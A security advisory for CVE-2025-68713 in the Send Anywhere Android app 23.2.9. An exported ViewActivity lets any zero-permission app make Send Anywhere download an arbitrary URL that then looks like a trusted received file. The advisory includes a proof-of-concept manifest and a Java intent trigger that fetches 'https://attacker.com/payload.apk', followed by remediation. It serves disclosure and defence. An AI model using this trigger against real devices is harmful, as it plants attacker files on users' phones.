A zero-permission Android app can send an explicit VIEW intent to an exported activity in Send Anywhere (com.estmob.android.sendanywhere 23.2.9) and have the app download an arbitrary http/https URL into its scoped storage. The downloaded file appears in the app’s trusted “Received” interface.
This gives an attacker:
The download runs with no caller restriction, no origin or integrity check on the URL, and no user-mediated approval.
CVE: CVE-2025-68713
Target Application: Send Anywhere (File Transfer)
Package: com.estmob.android.sendanywhere
Version: 23.2.9
Vendor: Rakuten Symphony Korea, Inc.
Affected Component: com.estmob.paprika4.activity.ViewActivity (exported activity)
The exported activity com.estmob.paprika4.activity.ViewActivity accepts an explicit VIEW intent carrying an http/https URL and automatically downloads the target file into the app’s scoped storage. The downloaded file is then listed in the app’s “Received” interface as though it arrived through a normal transfer.
Any installed app can trigger this with no permissions and no caller validation. The activity does not check the calling package, does not validate the URL origin, and does not require user approval before downloading.
Two impacts follow:
ViewActivity is exported and reachable by any installed app with no caller restriction.com.estmob.paprika4.activity.ViewActivity is exported and callable by any installed app.VIEW intent and reads the URL from the intent data..apk) into scoped storage automatically, with no check on the calling package or the URL origin.Malicious app manifest (zero permissions, single launcher activity):
<activity
android:name=".MainActivity"
android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
Trigger (Java):
Intent i = new Intent(Intent.ACTION_VIEW);
i.setComponent(new ComponentName(
"com.estmob.android.sendanywhere",
"com.estmob.paprika4.activity.ViewActivity"));
i.setData(Uri.parse("https://attacker.com/payload.apk"));
startActivity(i);
Behavior:
ViewActivity downloads the URL target into scoped storage.android:exported="false" on ViewActivity, or guard it with a signature-level permission.